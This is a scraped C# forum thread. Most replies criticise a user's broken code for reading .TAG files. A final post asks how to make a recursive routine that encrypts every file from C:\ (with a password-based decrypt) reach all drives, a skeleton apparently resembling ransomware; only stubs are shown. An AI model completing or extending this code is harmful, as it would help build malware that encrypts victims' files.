Re: using all drives - C# Discussion Boards

OriginalGriff12-Jul-21 21:18

12-Jul-21 21:18

Start with the basics: where did you get your information on .TAG file format from?
Go back there, and read it again, carefully - your existing code assumes there are 10,000 bytes in the file before before any actual information you are interested in and that's pretty much unlikely.
You then assume that "what's left" is line based strings, and that's probably not the case either.

So read the file format documentation, and code against that - the code you have looks like it was thrown together without any actual consideration of the file content!

"I have no idea what I did, but I'm taking full credit for it." - ThisOldTony
"Common sense is so rare these days, it should be classified as a super power" - Random T-shirt
AntiTwitter: @DalekDave is now a follower!

Re: .Tag File

Eddy Vluggen13-Jul-21 0:18

Eddy Vluggen

13-Jul-21 0:18

fat61 wrote:
I Used this code, but it is wrong:

Yes.

Bastard Programmer from Hell Suspicious | :suss:

"If you just follow the bacon Eddy, wherever it leads you, then you won't have to think about politics." -- Some Bell.

Re: .Tag File

harold aptroot13-Jul-21 7:45

harold aptroot

13-Jul-21 7:45

Yes, that code is clearly wrong. I can tell without knowing how TAG files work. I've seen some hints that TAG files are text files, but I could not find out the exact format, at least not with the amount of effort that I feel like putting into this question. IDK if this question really deserves it, but I feel like some slightly more helpful comments could be made about it..

Reading 10000 bytes and then ignoring them is probably a bad thing. It looks like a relic from some code that you copied that reads a file in 10000-byte blocks (a weird block size, not a round number). The while (count != 0) part in particular makes me think that. That style is reasonable if and only if you update count by doing another read in the loop. As it is, it makes no sense: that loop either does not start, or continues until it runs headlong into an exception, there is no normal way for it to terminate. Block-based reading and text files are an awkward match anyway.

BinaryReader.ReadString is the counterpart to BinaryWriter.Write(String). It uses a particular format of length-preceded string, with the length encoded in 7 bit chunks with a continuation bit. You won't find that kind of string in a text file. What you actually need here depends on format of TAG files, which I don't know and don't feel like getting into. Presumably you have a file that you're reading, putting you in a better position to figure this out than any of us. Possibly some combination of TextReader.ReadLine and splitting strings (not the most efficient approach, but probably fine). You could go for File.ReadAllLines too. If TAG files have no line-breaks then do something else.

modified 15-Jul-21 15:01pm.

Re: .Tag File

Dave Kreskowiak15-Jul-21 8:25

Dave Kreskowiak

15-Jul-21 8:25

The only code you're going to get is the YOU write.

Asking questions is a skill
CodeProject Forum Guidelines
Google: C# How to debug code
Seriously, go read these articles.

Dave Kreskowiak

using all drives

Mr Shah 411-Jul-21 0:39

Mr Shah 4

11-Jul-21 0:39

what code should be use to access all drives in following code instead of c:\ drive only for e.g c:\ d:\ e:\ thx.
code is :

public static void Encode()
        {
            string startDirectory = @"C:\"; //Where to start from
            ProcessDirectory(startDirectory, 1, "");
        }

        public static void Decode(string decryption_password)
        {
            string startDirectory = @"C:\"; //Where to start from
            ProcessDirectory(startDirectory, 0, decryption_password);
        }

        // Process all files in the directory passed in, recurse on any directories 
        // that are found, and process the files they contain. 
        //action 1 = encrypt, 0 = decrypt

modified 11-Jul-21 6:46am.